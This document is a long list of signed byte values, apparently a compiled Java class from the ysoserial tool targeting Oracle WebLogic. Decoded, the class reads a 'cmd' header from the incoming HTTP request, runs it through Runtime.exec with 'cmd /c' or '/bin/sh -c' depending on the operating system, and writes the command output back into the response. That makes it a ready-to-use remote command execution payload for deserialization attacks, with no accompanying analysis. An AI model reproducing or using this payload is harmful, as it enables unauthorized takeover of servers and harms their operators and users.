- 111
-
-
- 114
-
-
- 107
-
-
- 1
-
-
- 0
-
-
- 29
-
-
- 40
-
-
- 41
-
-
- 76
-
-
- 119
-
-
- 101
-
-
- 98
-
-
- 108
-
-
- 111
-
-
- 103
-
-
- 105
-
-
- 99
-
-
- 47
-
-
- 119
-
-
- 111
-
-
- 114
-
-
- 107
-
-
- 47
-
-
- 87
-
-
- 111
-
-
- 114
-
-
- 107
-
-
- 65
-
-
- 100
-
-
- 97
-
-
- 112
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 59
-
-
- 12
-
-
- 0
-
-
- 50
-
-
- 0
-
-
- 51
-
-
- 10
-
-
- 0
-
-
- 49
-
-
- 0
-
-
- 52
-
-
- 1
-
-
- 0
-
-
- 44
-
-
- 119
-
-
- 101
-
-
- 98
-
-
- 108
-
-
- 111
-
-
- 103
-
-
- 105
-
-
- 99
-
-
- 47
-
-
- 115
-
-
- 101
-
-
- 114
-
-
- 118
-
-
- 108
-
-
- 101
-
-
- 116
-
-
- 47
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 110
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 83
-
-
- 101
-
-
- 114
-
-
- 118
-
-
- 108
-
-
- 101
-
-
- 116
-
-
- 82
-
-
- 101
-
-
- 113
-
-
- 117
-
-
- 101
-
-
- 115
-
-
- 116
-
-
- 73
-
-
- 109
-
-
- 112
-
-
- 108
-
-
- 7
-
-
- 0
-
-
- 54
-
-
- 1
-
-
- 0
-
-
- 3
-
-
- 99
-
-
- 109
-
-
- 100
-
-
- 8
-
-
- 0
-
-
- 56
-
-
- 1
-
-
- 0
-
-
- 9
-
-
- 103
-
-
- 101
-
-
- 116
-
-
- 72
-
-
- 101
-
-
- 97
-
-
- 100
-
-
- 101
-
-
- 114
-
-
- 1
-
-
- 0
-
-
- 38
-
-
- 40
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 105
-
-
- 110
-
-
- 103
-
-
- 59
-
-
- 41
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 105
-
-
- 110
-
-
- 103
-
-
- 59
-
-
- 12
-
-
- 0
-
-
- 58
-
-
- 0
-
-
- 59
-
-
- 10
-
-
- 0
-
-
- 55
-
-
- 0
-
-
- 60
-
-
- 1
-
-
- 0
-
-
- 11
-
-
- 103
-
-
- 101
-
-
- 116
-
-
- 82
-
-
- 101
-
-
- 115
-
-
- 112
-
-
- 111
-
-
- 110
-
-
- 115
-
-
- 101
-
-
- 1
-
-
- 0
-
-
- 49
-
-
- 40
-
-
- 41
-
-
- 76
-
-
- 119
-
-
- 101
-
-
- 98
-
-
- 108
-
-
- 111
-
-
- 103
-
-
- 105
-
-
- 99
-
-
- 47
-
-
- 115
-
-
- 101
-
-
- 114
-
-
- 118
-
-
- 108
-
-
- 101
-
-
- 116
-
-
- 47
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 110
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 83
-
-
- 101
-
-
- 114
-
-
- 118
-
-
- 108
-
-
- 101
-
-
- 116
-
-
- 82
-
-
- 101
-
-
- 115
-
-
- 112
-
-
- 111
-
-
- 110
-
-
- 115
-
-
- 101
-
-
- 73
-
-
- 109
-
-
- 112
-
-
- 108
-
-
- 59
-
-
- 12
-
-
- 0
-
-
- 62
-
-
- 0
-
-
- 63
-
-
- 10
-
-
- 0
-
-
- 55
-
-
- 0
-
-
- 64
-
-
- 1
-
-
- 0
-
-
- 3
-
-
- 71
-
-
- 66
-
-
- 75
-
-
- 8
-
-
- 0
-
-
- 66
-
-
- 1
-
-
- 0
-
-
- 45
-
-
- 119
-
-
- 101
-
-
- 98
-
-
- 108
-
-
- 111
-
-
- 103
-
-
- 105
-
-
- 99
-
-
- 47
-
-
- 115
-
-
- 101
-
-
- 114
-
-
- 118
-
-
- 108
-
-
- 101
-
-
- 116
-
-
- 47
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 110
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 83
-
-
- 101
-
-
- 114
-
-
- 118
-
-
- 108
-
-
- 101
-
-
- 116
-
-
- 82
-
-
- 101
-
-
- 115
-
-
- 112
-
-
- 111
-
-
- 110
-
-
- 115
-
-
- 101
-
-
- 73
-
-
- 109
-
-
- 112
-
-
- 108
-
-
- 7
-
-
- 0
-
-
- 68
-
-
- 1
-
-
- 0
-
-
- 20
-
-
- 115
-
-
- 101
-
-
- 116
-
-
- 67
-
-
- 104
-
-
- 97
-
-
- 114
-
-
- 97
-
-
- 99
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 69
-
-
- 110
-
-
- 99
-
-
- 111
-
-
- 100
-
-
- 105
-
-
- 110
-
-
- 103
-
-
- 1
-
-
- 0
-
-
- 21
-
-
- 40
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 105
-
-
- 110
-
-
- 103
-
-
- 59
-
-
- 41
-
-
- 86
-
-
- 12
-
-
- 0
-
-
- 70
-
-
- 0
-
-
- 71
-
-
- 10
-
-
- 0
-
-
- 69
-
-
- 0
-
-
- 72
-
-
- 1
-
-
- 0
-
-
- 22
-
-
- 103
-
-
- 101
-
-
- 116
-
-
- 83
-
-
- 101
-
-
- 114
-
-
- 118
-
-
- 108
-
-
- 101
-
-
- 116
-
-
- 79
-
-
- 117
-
-
- 116
-
-
- 112
-
-
- 117
-
-
- 116
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 101
-
-
- 97
-
-
- 109
-
-
- 1
-
-
- 0
-
-
- 53
-
-
- 40
-
-
- 41
-
-
- 76
-
-
- 119
-
-
- 101
-
-
- 98
-
-
- 108
-
-
- 111
-
-
- 103
-
-
- 105
-
-
- 99
-
-
- 47
-
-
- 115
-
-
- 101
-
-
- 114
-
-
- 118
-
-
- 108
-
-
- 101
-
-
- 116
-
-
- 47
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 110
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 83
-
-
- 101
-
-
- 114
-
-
- 118
-
-
- 108
-
-
- 101
-
-
- 116
-
-
- 79
-
-
- 117
-
-
- 116
-
-
- 112
-
-
- 117
-
-
- 116
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 101
-
-
- 97
-
-
- 109
-
-
- 73
-
-
- 109
-
-
- 112
-
-
- 108
-
-
- 59
-
-
- 12
-
-
- 0
-
-
- 74
-
-
- 0
-
-
- 75
-
-
- 10
-
-
- 0
-
-
- 69
-
-
- 0
-
-
- 76
-
-
- 1
-
-
- 0
-
-
- 35
-
-
- 119
-
-
- 101
-
-
- 98
-
-
- 108
-
-
- 111
-
-
- 103
-
-
- 105
-
-
- 99
-
-
- 47
-
-
- 120
-
-
- 109
-
-
- 108
-
-
- 47
-
-
- 117
-
-
- 116
-
-
- 105
-
-
- 108
-
-
- 47
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 105
-
-
- 110
-
-
- 103
-
-
- 73
-
-
- 110
-
-
- 112
-
-
- 117
-
-
- 116
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 101
-
-
- 97
-
-
- 109
-
-
- 7
-
-
- 0
-
-
- 78
-
-
- 1
-
-
- 0
-
-
- 22
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 105
-
-
- 110
-
-
- 103
-
-
- 66
-
-
- 117
-
-
- 102
-
-
- 102
-
-
- 101
-
-
- 114
-
-
- 7
-
-
- 0
-
-
- 80
-
-
- 10
-
-
- 0
-
-
- 81
-
-
- 0
-
-
- 34
-
-
- 1
-
-
- 0
-
-
- 6
-
-
- 97
-
-
- 112
-
-
- 112
-
-
- 101
-
-
- 110
-
-
- 100
-
-
- 1
-
-
- 0
-
-
- 44
-
-
- 40
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 105
-
-
- 110
-
-
- 103
-
-
- 59
-
-
- 41
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 105
-
-
- 110
-
-
- 103
-
-
- 66
-
-
- 117
-
-
- 102
-
-
- 102
-
-
- 101
-
-
- 114
-
-
- 59
-
-
- 12
-
-
- 0
-
-
- 83
-
-
- 0
-
-
- 84
-
-
- 10
-
-
- 0
-
-
- 81
-
-
- 0
-
-
- 85
-
-
- 1
-
-
- 0
-
-
- 5
-
-
- 32
-
-
- 58
-
-
- 32
-
-
- 13
-
-
- 10
-
-
- 8
-
-
- 0
-
-
- 87
-
-
- 1
-
-
- 0
-
-
- 8
-
-
- 116
-
-
- 111
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 105
-
-
- 110
-
-
- 103
-
-
- 1
-
-
- 0
-
-
- 20
-
-
- 40
-
-
- 41
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 105
-
-
- 110
-
-
- 103
-
-
- 59
-
-
- 12
-
-
- 0
-
-
- 89
-
-
- 0
-
-
- 90
-
-
- 10
-
-
- 0
-
-
- 81
-
-
- 0
-
-
- 91
-
-
- 12
-
-
- 0
-
-
- 10
-
-
- 0
-
-
- 71
-
-
- 10
-
-
- 0
-
-
- 79
-
-
- 0
-
-
- 93
-
-
- 1
-
-
- 0
-
-
- 49
-
-
- 119
-
-
- 101
-
-
- 98
-
-
- 108
-
-
- 111
-
-
- 103
-
-
- 105
-
-
- 99
-
-
- 47
-
-
- 115
-
-
- 101
-
-
- 114
-
-
- 118
-
-
- 108
-
-
- 101
-
-
- 116
-
-
- 47
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 110
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 83
-
-
- 101
-
-
- 114
-
-
- 118
-
-
- 108
-
-
- 101
-
-
- 116
-
-
- 79
-
-
- 117
-
-
- 116
-
-
- 112
-
-
- 117
-
-
- 116
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 101
-
-
- 97
-
-
- 109
-
-
- 73
-
-
- 109
-
-
- 112
-
-
- 108
-
-
- 7
-
-
- 0
-
-
- 95
-
-
- 1
-
-
- 0
-
-
- 11
-
-
- 119
-
-
- 114
-
-
- 105
-
-
- 116
-
-
- 101
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 101
-
-
- 97
-
-
- 109
-
-
- 1
-
-
- 0
-
-
- 24
-
-
- 40
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 105
-
-
- 111
-
-
- 47
-
-
- 73
-
-
- 110
-
-
- 112
-
-
- 117
-
-
- 116
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 101
-
-
- 97
-
-
- 109
-
-
- 59
-
-
- 41
-
-
- 86
-
-
- 12
-
-
- 0
-
-
- 97
-
-
- 0
-
-
- 98
-
-
- 10
-
-
- 0
-
-
- 96
-
-
- 0
-
-
- 99
-
-
- 1
-
-
- 0
-
-
- 5
-
-
- 102
-
-
- 108
-
-
- 117
-
-
- 115
-
-
- 104
-
-
- 12
-
-
- 0
-
-
- 101
-
-
- 0
-
-
- 11
-
-
- 10
-
-
- 0
-
-
- 96
-
-
- 0
-
-
- 102
-
-
- 1
-
-
- 0
-
-
- 7
-
-
- 111
-
-
- 115
-
-
- 46
-
-
- 110
-
-
- 97
-
-
- 109
-
-
- 101
-
-
- 8
-
-
- 0
-
-
- 104
-
-
- 1
-
-
- 0
-
-
- 16
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 83
-
-
- 121
-
-
- 115
-
-
- 116
-
-
- 101
-
-
- 109
-
-
- 7
-
-
- 0
-
-
- 106
-
-
- 1
-
-
- 0
-
-
- 11
-
-
- 103
-
-
- 101
-
-
- 116
-
-
- 80
-
-
- 114
-
-
- 111
-
-
- 112
-
-
- 101
-
-
- 114
-
-
- 116
-
-
- 121
-
-
- 12
-
-
- 0
-
-
- 108
-
-
- 0
-
-
- 59
-
-
- 10
-
-
- 0
-
-
- 107
-
-
- 0
-
-
- 109
-
-
- 1
-
-
- 0
-
-
- 16
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 105
-
-
- 110
-
-
- 103
-
-
- 7
-
-
- 0
-
-
- 111
-
-
- 1
-
-
- 0
-
-
- 11
-
-
- 116
-
-
- 111
-
-
- 76
-
-
- 111
-
-
- 119
-
-
- 101
-
-
- 114
-
-
- 67
-
-
- 97
-
-
- 115
-
-
- 101
-
-
- 12
-
-
- 0
-
-
- 113
-
-
- 0
-
-
- 90
-
-
- 10
-
-
- 0
-
-
- 112
-
-
- 0
-
-
- 114
-
-
- 1
-
-
- 0
-
-
- 3
-
-
- 119
-
-
- 105
-
-
- 110
-
-
- 8
-
-
- 0
-
-
- 116
-
-
- 1
-
-
- 0
-
-
- 8
-
-
- 99
-
-
- 111
-
-
- 110
-
-
- 116
-
-
- 97
-
-
- 105
-
-
- 110
-
-
- 115
-
-
- 1
-
-
- 0
-
-
- 27
-
-
- 40
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 67
-
-
- 104
-
-
- 97
-
-
- 114
-
-
- 83
-
-
- 101
-
-
- 113
-
-
- 117
-
-
- 101
-
-
- 110
-
-
- 99
-
-
- 101
-
-
- 59
-
-
- 41
-
-
- 90
-
-
- 12
-
-
- 0
-
-
- 118
-
-
- 0
-
-
- 119
-
-
- 10
-
-
- 0
-
-
- 112
-
-
- 0
-
-
- 120
-
-
- 1
-
-
- 0
-
-
- 17
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 82
-
-
- 117
-
-
- 110
-
-
- 116
-
-
- 105
-
-
- 109
-
-
- 101
-
-
- 7
-
-
- 0
-
-
- 122
-
-
- 1
-
-
- 0
-
-
- 10
-
-
- 103
-
-
- 101
-
-
- 116
-
-
- 82
-
-
- 117
-
-
- 110
-
-
- 116
-
-
- 105
-
-
- 109
-
-
- 101
-
-
- 1
-
-
- 0
-
-
- 21
-
-
- 40
-
-
- 41
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 82
-
-
- 117
-
-
- 110
-
-
- 116
-
-
- 105
-
-
- 109
-
-
- 101
-
-
- 59
-
-
- 12
-
-
- 0
-
-
- 124
-
-
- 0
-
-
- 125
-
-
- 10
-
-
- 0
-
-
- 123
-
-
- 0
-
-
- 126
-
-
- 1
-
-
- 0
-
-
- 7
-
-
- 99
-
-
- 109
-
-
- 100
-
-
- 32
-
-
- 47
-
-
- 99
-
-
- 32
-
-
- 8
-
-
- 0
-
-
- -128
-
-
- 1
-
-
- 0
-
-
- 4
-
-
- 101
-
-
- 120
-
-
- 101
-
-
- 99
-
-
- 1
-
-
- 0
-
-
- 39
-
-
- 40
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 105
-
-
- 110
-
-
- 103
-
-
- 59
-
-
- 41
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 80
-
-
- 114
-
-
- 111
-
-
- 99
-
-
- 101
-
-
- 115
-
-
- 115
-
-
- 59
-
-
- 12
-
-
- 0
-
-
- -126
-
-
- 0
-
-
- -125
-
-
- 10
-
-
- 0
-
-
- 123
-
-
- 0
-
-
- -124
-
-
- 1
-
-
- 0
-
-
- 11
-
-
- 47
-
-
- 98
-
-
- 105
-
-
- 110
-
-
- 47
-
-
- 115
-
-
- 104
-
-
- 32
-
-
- 45
-
-
- 99
-
-
- 32
-
-
- 8
-
-
- 0
-
-
- -122
-
-
- 1
-
-
- 0
-
-
- 22
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 105
-
-
- 111
-
-
- 47
-
-
- 66
-
-
- 117
-
-
- 102
-
-
- 102
-
-
- 101
-
-
- 114
-
-
- 101
-
-
- 100
-
-
- 82
-
-
- 101
-
-
- 97
-
-
- 100
-
-
- 101
-
-
- 114
-
-
- 7
-
-
- 0
-
-
- -120
-
-
- 1
-
-
- 0
-
-
- 25
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 105
-
-
- 111
-
-
- 47
-
-
- 73
-
-
- 110
-
-
- 112
-
-
- 117
-
-
- 116
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 101
-
-
- 97
-
-
- 109
-
-
- 82
-
-
- 101
-
-
- 97
-
-
- 100
-
-
- 101
-
-
- 114
-
-
- 7
-
-
- 0
-
-
- -118
-
-
- 1
-
-
- 0
-
-
- 17
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 80
-
-
- 114
-
-
- 111
-
-
- 99
-
-
- 101
-
-
- 115
-
-
- 115
-
-
- 7
-
-
- 0
-
-
- -116
-
-
- 1
-
-
- 0
-
-
- 14
-
-
- 103
-
-
- 101
-
-
- 116
-
-
- 73
-
-
- 110
-
-
- 112
-
-
- 117
-
-
- 116
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 101
-
-
- 97
-
-
- 109
-
-
- 1
-
-
- 0
-
-
- 23
-
-
- 40
-
-
- 41
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 105
-
-
- 111
-
-
- 47
-
-
- 73
-
-
- 110
-
-
- 112
-
-
- 117
-
-
- 116
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 101
-
-
- 97
-
-
- 109
-
-
- 59
-
-
- 12
-
-
- 0
-
-
- -114
-
-
- 0
-
-
- -113
-
-
- 10
-
-
- 0
-
-
- -115
-
-
- 0
-
-
- -112
-
-
- 1
-
-
- 0
-
-
- 42
-
-
- 40
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 105
-
-
- 111
-
-
- 47
-
-
- 73
-
-
- 110
-
-
- 112
-
-
- 117
-
-
- 116
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 101
-
-
- 97
-
-
- 109
-
-
- 59
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 105
-
-
- 110
-
-
- 103
-
-
- 59
-
-
- 41
-
-
- 86
-
-
- 12
-
-
- 0
-
-
- 10
-
-
- 0
-
-
- -110
-
-
- 10
-
-
- 0
-
-
- -117
-
-
- 0
-
-
- -109
-
-
- 1
-
-
- 0
-
-
- 19
-
-
- 40
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 105
-
-
- 111
-
-
- 47
-
-
- 82
-
-
- 101
-
-
- 97
-
-
- 100
-
-
- 101
-
-
- 114
-
-
- 59
-
-
- 41
-
-
- 86
-
-
- 12
-
-
- 0
-
-
- 10
-
-
- 0
-
-
- -107
-
-
- 10
-
-
- 0
-
-
- -119
-
-
- 0
-
-
- -106
-
-
- 1
-
-
- 0
-
-
- 0
-
-
- 8
-
-
- 0
-
-
- -104
-
-
- 1
-
-
- 0
-
-
- 8
-
-
- 114
-
-
- 101
-
-
- 97
-
-
- 100
-
-
- 76
-
-
- 105
-
-
- 110
-
-
- 101
-
-
- 12
-
-
- 0
-
-
- -102
-
-
- 0
-
-
- 90
-
-
- 10
-
-
- 0
-
-
- -119
-
-
- 0
-
-
- -101
-
-
- 1
-
-
- 0
-
-
- 9
-
-
- 103
-
-
- 101
-
-
- 116
-
-
- 87
-
-
- 114
-
-
- 105
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 1
-
-
- 0
-
-
- 23
-
-
- 40
-
-
- 41
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 105
-
-
- 111
-
-
- 47
-
-
- 80
-
-
- 114
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 87
-
-
- 114
-
-
- 105
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 59
-
-
- 12
-
-
- 0
-
-
- -99
-
-
- 0
-
-
- -98
-
-
- 10
-
-
- 0
-
-
- 69
-
-
- 0
-
-
- -97
-
-
- 1
-
-
- 0
-
-
- 19
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 105
-
-
- 111
-
-
- 47
-
-
- 80
-
-
- 114
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 87
-
-
- 114
-
-
- 105
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 7
-
-
- 0
-
-
- -95
-
-
- 1
-
-
- 0
-
-
- 5
-
-
- 119
-
-
- 114
-
-
- 105
-
-
- 116
-
-
- 101
-
-
- 12
-
-
- 0
-
-
- -93
-
-
- 0
-
-
- 71
-
-
- 10
-
-
- 0
-
-
- -94
-
-
- 0
-
-
- -92
-
-
- 1
-
-
- 0
-
-
- 19
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 69
-
-
- 120
-
-
- 99
-
-
- 101
-
-
- 112
-
-
- 116
-
-
- 105
-
-
- 111
-
-
- 110
-
-
- 7
-
-
- 0
-
-
- -90
-
-
- 1
-
-
- 0
-
-
- 3
-
-
- 111
-
-
- 117
-
-
- 116
-
-
- 1
-
-
- 0
-
-
- 21
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 105
-
-
- 111
-
-
- 47
-
-
- 80
-
-
- 114
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 101
-
-
- 97
-
-
- 109
-
-
- 59
-
-
- 12
-
-
- 0
-
-
- -88
-
-
- 0
-
-
- -87
-
-
- 9
-
-
- 0
-
-
- 107
-
-
- 0
-
-
- -86
-
-
- 1
-
-
- 0
-
-
- 19
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 84
-
-
- 104
-
-
- 114
-
-
- 111
-
-
- 119
-
-
- 97
-
-
- 98
-
-
- 108
-
-
- 101
-
-
- 7
-
-
- 0
-
-
- -84
-
-
- 10
-
-
- 0
-
-
- -83
-
-
- 0
-
-
- 91
-
-
- 1
-
-
- 0
-
-
- 19
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 105
-
-
- 111
-
-
- 47
-
-
- 80
-
-
- 114
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 101
-
-
- 97
-
-
- 109
-
-
- 7
-
-
- 0
-
-
- -81
-
-
- 1
-
-
- 0
-
-
- 7
-
-
- 112
-
-
- 114
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 108
-
-
- 110
-
-
- 12
-
-
- 0
-
-
- -79
-
-
- 0
-
-
- 71
-
-
- 10
-
-
- 0
-
-
- -80
-
-
- 0
-
-
- -78
-
-
- 1
-
-
- 0
-
-
- 15
-
-
- 112
-
-
- 114
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 83
-
-
- 116
-
-
- 97
-
-
- 99
-
-
- 107
-
-
- 84
-
-
- 114
-
-
- 97
-
-
- 99
-
-
- 101
-
-
- 12
-
-
- 0
-
-
- -76
-
-
- 0
-
-
- 11
-
-
- 10
-
-
- 0
-
-
- -83
-
-
- 0
-
-
- -75
-
-
- 1
-
-
- 0
-
-
- 13
-
-
- 83
-
-
- 116
-
-
- 97
-
-
- 99
-
-
- 107
-
-
- 77
-
-
- 97
-
-
- 112
-
-
- 84
-
-
- 97
-
-
- 98
-
-
- 108
-
-
- 101
-
-
- 1
-
-
- 0
-
-
- 29
-
-
- 121
-
-
- 115
-
-
- 111
-
-
- 115
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 80
-
-
- 119
-
-
- 110
-
-
- 101
-
-
- 114
-
-
- 52
-
-
- 53
-
-
- 52
-
-
- 51
-
-
- 56
-
-
- 51
-
-
- 49
-
-
- 52
-
-
- 50
-
-
- 55
-
-
- 56
-
-
- 57
-
-
- 57
-
-
- 50
-
-
- 1
-
-
- 0
-
-
- 31
-
-
- 76
-
-
- 121
-
-
- 115
-
-
- 111
-
-
- 115
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 80
-
-
- 119
-
-
- 110
-
-
- 101
-
-
- 114
-
-
- 52
-
-
- 53
-
-
- 52
-
-
- 51
-
-
- 56
-
-
- 51
-
-
- 49
-
-
- 52
-
-
- 50
-
-
- 55
-
-
- 56
-
-
- 57
-
-
- 57
-
-
- 50
-
-
- 59
-
-
- 0
-
-
- 33
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 3
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 4
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 26
-
-
- 0
-
-
- 5
-
-
- 0
-
-
- 6
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 7
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 8
-
-
- 0
-
-
- 4
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 10
-
-
- 0
-
-
- 11
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 12
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 47
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 5
-
-
- 42
-
-
- -73
-
-
- 0
-
-
- 1
-
-
- -79
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 13
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 6
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 47
-
-
- 0
-
-
- 14
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 12
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 5
-
-
- 0
-
-
- 15
-
-
- 0
-
-
- -71
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 19
-
-
- 0
-
-
- 20
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 12
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 63
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 3
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 1
-
-
- -79
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 13
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 6
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 52
-
-
- 0
-
-
- 14
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 32
-
-
- 0
-
-
- 3
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 15
-
-
- 0
-
-
- -71
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 21
-
-
- 0
-
-
- 22
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 23
-
-
- 0
-
-
- 24
-
-
- 0
-
-
- 2
-
-
- 0
-
-
- 25
-
-
- 0
-
-
- 0
-
-
- 0
-
-
- 4
-
-
- 0
-
-
- 1
-
-
- 0
-
-
- 26
-
-
- 0
-
-
- 1
-
-
- 0
-
-
